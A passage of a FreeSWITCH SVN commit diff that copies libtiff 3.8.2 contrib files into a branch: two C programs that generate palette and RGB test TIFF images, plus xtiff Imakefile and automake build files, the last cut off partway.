+                    + (gray_index << 2) + gray_index;
+                j += 4;
+                break;
+            }
+        }
+        TIFFWriteScanline(tif, scan_line, i, 0);
+    }
+
+    free(scan_line);
+    TIFFClose(tif);
+    return 0;
+}
+
+void
+Usage()
+{
+    fprintf(stderr, "Usage: %s -depth (8 | 4 | 2) tiff-image\n", programName);
+    exit(0);
+}

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/tiff-palette.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/tiff-palette.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/dbs/tiff-palette.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/tiff-palette.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/tiff-palette.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,276 @@
+/* $Id: tiff-palette.c,v 1.3 2004/09/03 08:27:20 dron Exp $ */
+
+/*
+ * tiff-palette.c -- create a Class P (palette) TIFF file
+ *
+ * Copyright 1990 by Digital Equipment Corporation, Maynard, Massachusetts.
+ *
+ *                        All Rights Reserved
+ *
+ * Permission to use, copy, modify, and distribute this software and its
+ * documentation for any purpose and without fee is hereby granted,
+ * provided that the above copyright notice appear in all copies and that
+ * both that copyright notice and this permission notice appear in
+ * supporting documentation, and that the name of Digital not be
+ * used in advertising or publicity pertaining to distribution of the
+ * software without specific, written prior permission.
+ *
+ * DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING
+ * ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL
+ * DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR
+ * ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION,
+ * ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
+ * SOFTWARE.
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#include "tiffio.h"
+
+#define WIDTH       512
+#define HEIGHT      WIDTH
+#define SCALE(x)    ((x) * 257L)
+
+char *              programName;
+void                Usage();
+
+int main(int argc, char **argv)
+{
+    int             bits_per_pixel = 8, cmsize, i, j, k,
+                    cmap_index, chunk_size = 32, nchunks = 16;
+    unsigned char * scan_line;
+    uint16          *red, *green, *blue;
+    TIFF *          tif;
+
+    programName = argv[0];
+
+    if (argc != 4)
+        Usage();
+
+    if (!strcmp(argv[1], "-depth"))
+         bits_per_pixel = atoi(argv[2]);
+    else
+         Usage();
+
+    switch (bits_per_pixel) {
+        case 8:
+            nchunks = 16;
+            chunk_size = 32;
+            break;
+        case 4:
+            nchunks = 4;
+            chunk_size = 128;
+            break;
+        case 2:
+            nchunks = 2;
+            chunk_size = 256;
+            break;
+	case 1:
+	    nchunks = 2;
+	    chunk_size = 256;
+	    break;
+        default:
+            Usage();
+    }
+
+    if (bits_per_pixel != 1) {
+	cmsize = nchunks * nchunks;
+    } else {
+	cmsize = 2;
+    }
+    red = (uint16 *) malloc(cmsize * sizeof(uint16));
+    green = (uint16 *) malloc(cmsize * sizeof(uint16));
+    blue = (uint16 *) malloc(cmsize * sizeof(uint16));
+
+    switch (bits_per_pixel) {
+    case 8:
+        for (i = 0; i < cmsize; i++) {
+            if (i < 32)
+                red[i] = 0;
+            else if (i < 64)
+                red[i] = SCALE(36);
+            else if (i < 96)
+                red[i] = SCALE(73);
+            else if (i < 128)
+                red[i] = SCALE(109);
+            else if (i < 160)
+                red[i] = SCALE(146);
+            else if (i < 192)
+                red[i] = SCALE(182);
+            else if (i < 224)
+                red[i] = SCALE(219);
+            else if (i < 256)
+                red[i] = SCALE(255);
+
+            if ((i % 32) < 4)
+                green[i] = 0;
+            else if (i < 8)
+                green[i] = SCALE(36);
+            else if ((i % 32) < 12)
+                green[i] = SCALE(73);
+            else if ((i % 32) < 16)
+                green[i] = SCALE(109);
+            else if ((i % 32) < 20)
+                green[i] = SCALE(146);
+            else if ((i % 32) < 24)
+                green[i] = SCALE(182);
+            else if ((i % 32) < 28)
+                green[i] = SCALE(219);
+            else if ((i % 32) < 32)
+                green[i] = SCALE(255);
+
+            if ((i % 4) == 0)
+                blue[i] = SCALE(0);
+            else if ((i % 4) == 1)
+                blue[i] = SCALE(85);
+            else if ((i % 4) == 2)
+                blue[i] = SCALE(170);
+            else if ((i % 4) == 3)
+                blue[i] = SCALE(255);
+        }
+        break;
+    case 4:
+        red[0] = SCALE(255);
+        green[0] = 0;
+        blue[0] = 0;
+
+        red[1] = 0;
+        green[1] = SCALE(255);
+        blue[1] = 0;
+
+        red[2] = 0;
+        green[2] = 0;
+        blue[2] = SCALE(255);
+
+        red[3] = SCALE(255);
+        green[3] = SCALE(255);
+        blue[3] = SCALE(255);
+
+        red[4] = 0;
+        green[4] = SCALE(255);
+        blue[4] = SCALE(255);
+
+        red[5] = SCALE(255);
+        green[5] = 0;
+        blue[5] = SCALE(255);
+
+        red[6] = SCALE(255);
+        green[6] = SCALE(255);
+        blue[6] = 0;
+
+        red[7] = 0;
+        green[7] = 0;
+        blue[7] = 0;
+
+        red[8] = SCALE(176);
+        green[8] = SCALE(224);
+        blue[8] = SCALE(230);
+        red[9] = SCALE(100);
+        green[9] = SCALE(149);
+        blue[9] = SCALE(237);
+        red[10] = SCALE(46);
+        green[10] = SCALE(139);
+        blue[10] = SCALE(87);
+        red[11] = SCALE(160);
+        green[11] = SCALE(82);
+        blue[11] = SCALE(45);
+        red[12] = SCALE(238);
+        green[12] = SCALE(130);
+        blue[12] = SCALE(238);
+        red[13] = SCALE(176);
+        green[13] = SCALE(48);
+        blue[13] = SCALE(96);
+        red[14] = SCALE(50);
+        green[14] = SCALE(205);
+        blue[14] = SCALE(50);
+        red[15] = SCALE(240);
+        green[15] = SCALE(152);
+        blue[15] = SCALE(35);
+        break;
+    case 2:
+        red[0] = SCALE(255);
+        green[0] = 0;
+        blue[0] = 0;
+
+        red[1] = 0;
+        green[1] = SCALE(255);
+        blue[1] = 0;
+
+        red[2] = 0;
+        green[2] = 0;
+        blue[2] = SCALE(255);
+        red[3] = SCALE(255);
+        green[3] = SCALE(255);
+        blue[3] = SCALE(255);
+        break;
+    case 1:
+        red[0] = 0;
+        green[0] = 0;
+        blue[0] = 0;
+
+        red[1] = SCALE(255);
+        green[1] = SCALE(255);
+        blue[1] = SCALE(255);
+        break;
+    }
+
+    if ((tif = TIFFOpen(argv[3], "w")) == NULL) {
+        fprintf(stderr, "can't open %s as a TIFF file\n", argv[3]);
+        return 0;
+    }
+
+    TIFFSetField(tif, TIFFTAG_IMAGEWIDTH, WIDTH);
+    TIFFSetField(tif, TIFFTAG_IMAGELENGTH, HEIGHT);
+    TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, bits_per_pixel);
+    TIFFSetField(tif, TIFFTAG_COMPRESSION, COMPRESSION_NONE);
+    TIFFSetField(tif, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_PALETTE);
+    TIFFSetField(tif, TIFFTAG_SAMPLESPERPIXEL, 1);
+    TIFFSetField(tif, TIFFTAG_ROWSPERSTRIP, 1);
+    TIFFSetField(tif, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG);
+    TIFFSetField(tif, TIFFTAG_RESOLUTIONUNIT, RESUNIT_NONE);
+    TIFFSetField(tif, TIFFTAG_COLORMAP, red, green, blue);
+
+    scan_line = (unsigned char *) malloc(WIDTH / (8 / bits_per_pixel));
+
+    for (i = 0; i < HEIGHT; i++) {
+        for (j = 0, k = 0; j < WIDTH;) {
+            cmap_index = (j / chunk_size) + ((i / chunk_size) * nchunks);
+
+            switch (bits_per_pixel) {
+            case 8:
+                scan_line[k++] = cmap_index;
+                j++;
+                break;
+            case 4:
+                scan_line[k++] = (cmap_index << 4) + cmap_index;
+                j += 2;
+                break;
+            case 2:
+                scan_line[k++] = (cmap_index << 6) + (cmap_index << 4)
+                    + (cmap_index << 2) + cmap_index;
+                j += 4;
+                break;
+	    case 1:
+		scan_line[k++] =
+			((j / chunk_size) == (i / chunk_size)) ? 0x00 : 0xff;
+		j += 8;
+		break;
+            }
+        }
+        TIFFWriteScanline(tif, scan_line, i, 0);
+    }
+
+    free(scan_line);
+    TIFFClose(tif);
+    return 0;
+}
+
+void
+Usage()
+{
+    fprintf(stderr, "Usage: %s -depth (8 | 4 | 2 | 1) tiff-image\n", programName);
+    exit(0);
+}

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/tiff-rgb.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/tiff-rgb.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/dbs/tiff-rgb.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/tiff-rgb.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/tiff-rgb.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,194 @@
+/* $Id: tiff-rgb.c,v 1.3 2004/09/03 08:29:16 dron Exp $ */
+
+/*
+ * tiff-rgb.c -- create a 24-bit Class R (rgb) TIFF file
+ *
+ * Copyright 1990 by Digital Equipment Corporation, Maynard, Massachusetts.
+ *
+ *                        All Rights Reserved
+ *
+ * Permission to use, copy, modify, and distribute this software and its
+ * documentation for any purpose and without fee is hereby granted,
+ * provided that the above copyright notice appear in all copies and that
+ * both that copyright notice and this permission notice appear in
+ * supporting documentation, and that the name of Digital not be
+ * used in advertising or publicity pertaining to distribution of the
+ * software without specific, written prior permission.
+ *
+ * DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING
+ * ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL
+ * DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR
+ * ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION,
+ * ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
+ * SOFTWARE.
+ */
+
+#include <math.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#include "tiffio.h"
+
+#define ROUND(x)    (uint16) ((x) + 0.5)
+#define CMSIZE      256
+#define WIDTH       525
+#define HEIGHT      512
+#define TIFF_GAMMA  2.2
+
+void                Usage();
+char *              programName;
+
+int main(int argc, char **argv)
+{
+    char *          input_file = NULL;
+    double          image_gamma = TIFF_GAMMA;
+    int             i, j;
+    TIFF *          tif;
+    unsigned char * scan_line;
+    uint16          red[CMSIZE], green[CMSIZE], blue[CMSIZE];
+    float	    refblackwhite[2*3];
+
+    programName = argv[0];
+
+    switch (argc) {
+    case 2:
+        image_gamma = TIFF_GAMMA;
+        input_file = argv[1];
+        break;
+    case 4:
+        if (!strcmp(argv[1], "-gamma")) {
+            image_gamma = atof(argv[2]);
+            input_file = argv[3];
+        } else
+            Usage();
+        break;
+    default:
+        Usage();
+    }
+
+    for (i = 0; i < CMSIZE; i++) {
+        if (i == 0)
+            red[i] = green[i] = blue[i] = 0;
+        else {
+            red[i] = ROUND((pow(i / 255.0, 1.0 / image_gamma) * 65535.0));
+            green[i] = ROUND((pow(i / 255.0, 1.0 / image_gamma) * 65535.0));
+            blue[i] = ROUND((pow(i / 255.0, 1.0 / image_gamma) * 65535.0));
+        }
+    }
+    refblackwhite[0] = 0.0; refblackwhite[1] = 255.0;
+    refblackwhite[2] = 0.0; refblackwhite[3] = 255.0;
+    refblackwhite[4] = 0.0; refblackwhite[5] = 255.0;
+
+    if ((tif = TIFFOpen(input_file, "w")) == NULL) {
+        fprintf(stderr, "can't open %s as a TIFF file\n", input_file);
+        exit(0);
+    }
+
+    TIFFSetField(tif, TIFFTAG_IMAGEWIDTH, WIDTH);
+    TIFFSetField(tif, TIFFTAG_IMAGELENGTH, HEIGHT);
+    TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 8);
+    TIFFSetField(tif, TIFFTAG_COMPRESSION, COMPRESSION_NONE);
+    TIFFSetField(tif, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_RGB);
+    TIFFSetField(tif, TIFFTAG_SAMPLESPERPIXEL, 3);
+    TIFFSetField(tif, TIFFTAG_ROWSPERSTRIP, 1);
+    TIFFSetField(tif, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG);
+    TIFFSetField(tif, TIFFTAG_RESOLUTIONUNIT, RESUNIT_NONE);
+#ifdef notdef
+    TIFFSetField(tif, TIFFTAG_WHITEPOINT, whitex, whitey);
+    TIFFSetField(tif, TIFFTAG_PRIMARYCHROMATICITIES, primaries);
+#endif
+    TIFFSetField(tif, TIFFTAG_REFERENCEBLACKWHITE, refblackwhite);
+    TIFFSetField(tif, TIFFTAG_TRANSFERFUNCTION, red, green, blue);
+
+    scan_line = (unsigned char *) malloc(WIDTH * 3);
+
+    for (i = 0; i < 255; i++) {
+        for (j = 0; j < 75; j++) {
+             scan_line[j * 3] = 255;
+             scan_line[(j * 3) + 1] = 255 - i;
+             scan_line[(j * 3) + 2] = 255 - i;
+        }
+        for (j = 75; j < 150; j++) {
+             scan_line[j * 3] = 255 - i;
+             scan_line[(j * 3) + 1] = 255;
+             scan_line[(j * 3) + 2] = 255 - i;
+        }
+        for (j = 150; j < 225; j++) {
+             scan_line[j * 3] = 255 - i;
+             scan_line[(j * 3) + 1] = 255 - i;
+             scan_line[(j * 3) + 2] = 255;
+        }
+        for (j = 225; j < 300; j++) {
+             scan_line[j * 3] = (i - 1) / 2;
+             scan_line[(j * 3) + 1] = (i - 1) / 2;
+             scan_line[(j * 3) + 2] = (i - 1) / 2;
+        }
+        for (j = 300; j < 375; j++) {
+             scan_line[j * 3] = 255 - i;
+             scan_line[(j * 3) + 1] = 255;
+             scan_line[(j * 3) + 2] = 255;
+        }
+        for (j = 375; j < 450; j++) {
+             scan_line[j * 3] = 255;
+             scan_line[(j * 3) + 1] = 255 - i;
+             scan_line[(j * 3) + 2] = 255;
+        }
+        for (j = 450; j < 525; j++) {
+             scan_line[j * 3] = 255;
+             scan_line[(j * 3) + 1] = 255;
+             scan_line[(j * 3) + 2] = 255 - i;
+        }
+        TIFFWriteScanline(tif, scan_line, i, 0);
+    }
+    for (i = 255; i < 512; i++) {
+        for (j = 0; j < 75; j++) {
+             scan_line[j * 3] = i;
+             scan_line[(j * 3) + 1] = 0;
+             scan_line[(j * 3) + 2] = 0;
+        }
+        for (j = 75; j < 150; j++) {
+             scan_line[j * 3] = 0;
+             scan_line[(j * 3) + 1] = i;
+             scan_line[(j * 3) + 2] = 0;
+        }
+        for (j = 150; j < 225; j++) {
+             scan_line[j * 3] = 0;
+             scan_line[(j * 3) + 1] = 0;
+             scan_line[(j * 3) + 2] = i;
+        }
+        for (j = 225; j < 300; j++) {
+             scan_line[j * 3] = (i - 1) / 2;
+             scan_line[(j * 3) + 1] = (i - 1) / 2;
+             scan_line[(j * 3) + 2] = (i - 1) / 2;
+        }
+        for (j = 300; j < 375; j++) {
+             scan_line[j * 3] = 0;
+             scan_line[(j * 3) + 1] = i;
+             scan_line[(j * 3) + 2] = i;
+        }
+        for (j = 375; j < 450; j++) {
+             scan_line[j * 3] = i;
+             scan_line[(j * 3) + 1] = 0;
+             scan_line[(j * 3) + 2] = i;
+        }
+        for (j = 450; j < 525; j++) {
+             scan_line[j * 3] = i;
+             scan_line[(j * 3) + 1] = i;
+             scan_line[(j * 3) + 2] = 0;
+        }
+        TIFFWriteScanline(tif, scan_line, i, 0);
+    }
+
+    free(scan_line);
+    TIFFClose(tif);
+    exit(0);
+}
+
+void
+Usage()
+{
+    fprintf(stderr, "Usage: %s -gamma gamma tiff-image\n", programName);
+    exit(0);
+}

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/dbs/xtiff)

Property changes: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff


Name: svn:ignore
   + Makefile

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/Imakefile

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/Imakefile (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/dbs/xtiff/Imakefile) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/Imakefile	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/Imakefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,17 @@
+#
+# Imakefile -- to generate a Makefile for xtiff, use:
+#   /usr/local/X11/mit/config/imake \
+#       -I/usr/local/X11/mit/config \
+#       -DTOPDIR=/usr/local/X11/mit \
+#       -DCURDIR=/usr/local/X11/mit \
+#       -DDESTDIR=/usr/local/X11/mit
+#
+
+   SYS_LIBRARIES = -lm
+ LOCAL_LIBRARIES = XawClientLibs
+         DEPLIBS = XawClientDepLibs
+            TIFF = ../../../libtiff
+ EXTRA_LIBRARIES = $(TIFF)/libtiff.so -lm
+  EXTRA_INCLUDES = -I$(TIFF)
+
+SimpleProgramTarget(xtiff)

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/Makefile.am

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/Makefile.am (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/dbs/xtiff/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,29 @@
+# $Id: Makefile.am,v 1.2 2006/03/23 14:54:01 dron Exp $
+#
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+EXTRA_DIST = Imakefile README patchlevel.h xtiff.c xtifficon.h
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/Makefile.in

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/Makefile.in (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/dbs/xtiff/Makefile.in) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/Makefile.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/Makefile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,387 @@
+# Makefile.in generated by automake 1.9.6 from Makefile.am.
+# @configure_input@
+
+# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
+# 2003, 2004, 2005  Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# $Id: Makefile.in,v 1.32 2006/03/23 14:54:01 dron Exp $
+#
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ../../..
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = $(program_transform_name)
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_triplet = @build@
+host_triplet = @host@
+target_triplet = @target@
+subdir = contrib/dbs/xtiff
+DIST_COMMON = README $(srcdir)/Makefile.am $(srcdir)/Makefile.in
+ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
+am__aclocal_m4_deps = $(top_srcdir)/m4/acinclude.m4 \
+	$(top_srcdir)/m4/libtool.m4 $(top_srcdir)/m4/ltoptions.m4 \
+	$(top_srcdir)/m4/ltsugar.m4 $(top_srcdir)/m4/ltversion.m4 \
+	$(top_srcdir)/configure.ac
+am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
+	$(ACLOCAL_M4)
+mkinstalldirs = $(SHELL) $(top_srcdir)/config/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/libtiff/tif_config.h \
+	$(top_builddir)/libtiff/tiffconf.h
+CONFIG_CLEAN_FILES =
+SOURCES =
+DIST_SOURCES =
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+ACLOCAL = @ACLOCAL@
+AMDEP_FALSE = @AMDEP_FALSE@
+AMDEP_TRUE = @AMDEP_TRUE@
+AMTAR = @AMTAR@
+AR = @AR@
+AS = @AS@
+AUTOCONF = @AUTOCONF@
+AUTOHEADER = @AUTOHEADER@
+AUTOMAKE = @AUTOMAKE@
+AWK = @AWK@
+CC = @CC@
+CCDEPMODE = @CCDEPMODE@
+CFLAGS = @CFLAGS@
+CPP = @CPP@
+CPPFLAGS = @CPPFLAGS@
+CXX = @CXX@
+CXXCPP = @CXXCPP@
+CXXDEPMODE = @CXXDEPMODE@
+CXXFLAGS = @CXXFLAGS@
+CYGPATH_W = @CYGPATH_W@
+DEFS = @DEFS@
+DEPDIR = @DEPDIR@
+DLLTOOL = @DLLTOOL@
+DUMPBIN = @DUMPBIN@
+ECHO_C = @ECHO_C@
+ECHO_N = @ECHO_N@
+ECHO_T = @ECHO_T@
+EGREP = @EGREP@
+EXEEXT = @EXEEXT@
+FGREP = @FGREP@
+GLUT_CFLAGS = @GLUT_CFLAGS@
+GLUT_LIBS = @GLUT_LIBS@
+GLU_CFLAGS = @GLU_CFLAGS@
+GLU_LIBS = @GLU_LIBS@
+GL_CFLAGS = @GL_CFLAGS@
+GL_LIBS = @GL_LIBS@
+GREP = @GREP@
+HAVE_CXX_FALSE = @HAVE_CXX_FALSE@
+HAVE_CXX_TRUE = @HAVE_CXX_TRUE@
+HAVE_OPENGL_FALSE = @HAVE_OPENGL_FALSE@
+HAVE_OPENGL_TRUE = @HAVE_OPENGL_TRUE@
+HAVE_RPATH_FALSE = @HAVE_RPATH_FALSE@
+HAVE_RPATH_TRUE = @HAVE_RPATH_TRUE@
+INSTALL_DATA = @INSTALL_DATA@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LD = @LD@
+LDFLAGS = @LDFLAGS@
+LIBDIR = @LIBDIR@
+LIBOBJS = @LIBOBJS@
+LIBS = @LIBS@
+LIBTIFF_ALPHA_VERSION = @LIBTIFF_ALPHA_VERSION@
+LIBTIFF_DOCDIR = @LIBTIFF_DOCDIR@
+LIBTIFF_MAJOR_VERSION = @LIBTIFF_MAJOR_VERSION@
+LIBTIFF_MICRO_VERSION = @LIBTIFF_MICRO_VERSION@
+LIBTIFF_MINOR_VERSION = @LIBTIFF_MINOR_VERSION@
+LIBTIFF_RELEASE_DATE = @LIBTIFF_RELEASE_DATE@
+LIBTIFF_VERSION = @LIBTIFF_VERSION@
+LIBTIFF_VERSION_INFO = @LIBTIFF_VERSION_INFO@
+LIBTOOL = @LIBTOOL@
+LN_S = @LN_S@
+LTLIBOBJS = @LTLIBOBJS@
+MAINT = @MAINT@
+MAINTAINER_MODE_FALSE = @MAINTAINER_MODE_FALSE@
+MAINTAINER_MODE_TRUE = @MAINTAINER_MODE_TRUE@
+MAKEINFO = @MAKEINFO@
+NM = @NM@
+OBJDUMP = @OBJDUMP@
+OBJEXT = @OBJEXT@
+PACKAGE = @PACKAGE@
+PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
+PACKAGE_NAME = @PACKAGE_NAME@
+PACKAGE_STRING = @PACKAGE_STRING@
+PACKAGE_TARNAME = @PACKAGE_TARNAME@
+PACKAGE_VERSION = @PACKAGE_VERSION@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+PTHREAD_CC = @PTHREAD_CC@
+PTHREAD_CFLAGS = @PTHREAD_CFLAGS@
+PTHREAD_LIBS = @PTHREAD_LIBS@
+RANLIB = @RANLIB@
+SED = @SED@
+SET_MAKE = @SET_MAKE@
+SHELL = @SHELL@
+STRIP = @STRIP@
+VERSION = @VERSION@
+X_CFLAGS = @X_CFLAGS@
+X_EXTRA_LIBS = @X_EXTRA_LIBS@
+X_LIBS = @X_LIBS@
+X_PRE_LIBS = @X_PRE_LIBS@
+ac_ct_AR = @ac_ct_AR@
+ac_ct_AS = @ac_ct_AS@
+ac_ct_CC = @ac_ct_CC@
+ac_ct_CXX = @ac_ct_CXX@
+ac_ct_DLLTOOL = @ac_ct_DLLTOOL@
+ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ac_ct_OBJDUMP = @ac_ct_OBJDUMP@
+ac_ct_RANLIB = @ac_ct_RANLIB@
+ac_ct_STRIP = @ac_ct_STRIP@
+acx_pthread_config = @acx_pthread_config@
+am__fastdepCC_FALSE = @am__fastdepCC_FALSE@
+am__fastdepCC_TRUE = @am__fastdepCC_TRUE@
+am__fastdepCXX_FALSE = @am__fastdepCXX_FALSE@
+am__fastdepCXX_TRUE = @am__fastdepCXX_TRUE@
+am__include = @am__include@
+am__leading_dot = @am__leading_dot@
+am__quote = @am__quote@
+am__tar = @am__tar@
+am__untar = @am__untar@
+bindir = @bindir@
+build = @build@
+build_alias = @build_alias@
+build_cpu = @build_cpu@
+build_os = @build_os@
+build_vendor = @build_vendor@
+datadir = @datadir@
+exec_prefix = @exec_prefix@
+host = @host@
+host_alias = @host_alias@
+host_cpu = @host_cpu@
+host_os = @host_os@
+host_vendor = @host_vendor@
+includedir = @includedir@
+infodir = @infodir@
+install_sh = @install_sh@
+libdir = @libdir@
+libexecdir = @libexecdir@
+localstatedir = @localstatedir@
+lt_ECHO = @lt_ECHO@
+mandir = @mandir@
+mkdir_p = @mkdir_p@
+oldincludedir = @oldincludedir@
+prefix = @prefix@
+program_transform_name = @program_transform_name@
+sbindir = @sbindir@
+sharedstatedir = @sharedstatedir@
+sysconfdir = @sysconfdir@
